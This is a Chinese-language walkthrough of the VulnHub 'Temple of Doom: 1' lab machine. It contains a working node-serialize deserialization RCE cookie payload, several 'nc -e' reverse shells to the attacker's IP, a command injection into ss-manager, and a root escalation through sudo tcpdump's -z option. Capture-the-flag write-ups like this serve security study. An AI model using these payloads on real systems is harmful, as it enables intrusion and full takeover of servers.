Temple-of-DOOM-v1靶机

靶机地址:Temple of Doom: 1 ~ VulnHub

攻击机kali和靶机要设在同一网段,查看靶机MAC地址:

一、信息收集

扫描目标主机

arp-scan -l

使用nmap扫描靶机开放的端口:

nmap -A -sS -sV -v -p- 192.168.7.49

浏览器访问666端口,提示正在建设中,稍后再来!

使用dirb扫描目录,无任何有用信息

查看页面源代码,无有用信息

使用Burpsuite进行分析查看

看到cookie,发现这里的%3D是url编码:=,明白这个值是Base64 + URL 编码

不对请求包进行任何修改,直接点击repeater中的sed进行发送,对显示的报错信息进行查看,发现node-serialize正在目标应用程序上使用

报错原因发现是由于Friday前面缺少一个引号,没有进行闭合

在Friday前面添加一个引号,并把字段先做base64编码,再做url编码,页面显示正常

base64编码(burp快捷键CTRL + B):

URL编码(burp快捷键CTRL + U),使用repeater发送后显示正常

删除cookie其它内容只保留用户信息

编码后再次发送查看,依然正常显示

使用demo进行测试,编码后发送查看,发现还是正常显示,由此可判断出是节点序列化

使用如下反序列化利用方法:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}

说明:

_$$ND_FUNC$$_function() : 在本地执行一个函数
child_process 是node.js中的一个模块,它以类似于popen(3)的方式生成子进程
child_process.exec () method: 此方法在控制台中运行命令并缓冲输出,它指定字符串Shell执行命令(在UNIX上默认:'/bin/sh')

编码后发送到服务器,显示当前用户为:nodeadmin

执行ls命令进行查看

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('ls -lah',(e,out,err)=>{console.log(out);}); }()"}

二、反弹shell

kali开启监听

nc -lvvp 5656

反弹shell语句:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('nc -e /bin/bash 192.168.7.251 5656',(e,out,err)=>{console.log(out);}); }()"}

反弹成功!

python -c 'import pty;pty.spawn("/bin/bash")'      #交互式shell

切换到fireman目录发现被拒绝

cd /home
ls -al
cd /home/fireman    #被拒绝
cd /home/nodeadmin
ls -al

查看fireman运行软件,发现ss-manager由fireman作为根root来运行

ps aux | grep fireman

 根据如下参考:

kali再开启一个监听

nc -lvnp 6666

根据参考语句进行如下命令:

nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.7.251 6666||"}

反弹成功!

python -c 'import pty;pty.spawn("/bin/bash")'      #交互式shell

查看sudo提权可执行的命令:

sudo -l

查询相关命令在线网站:GTFOBins

三、权限提升

开启监听:

nc -lvvp 7777
cd /tmp
echo "nc -e /bin/bash 192.168.7.251 7777" > shell    #在靶机上进行tcpdump提权操作
chmod 777 shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root

反弹成功!

提权成功!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值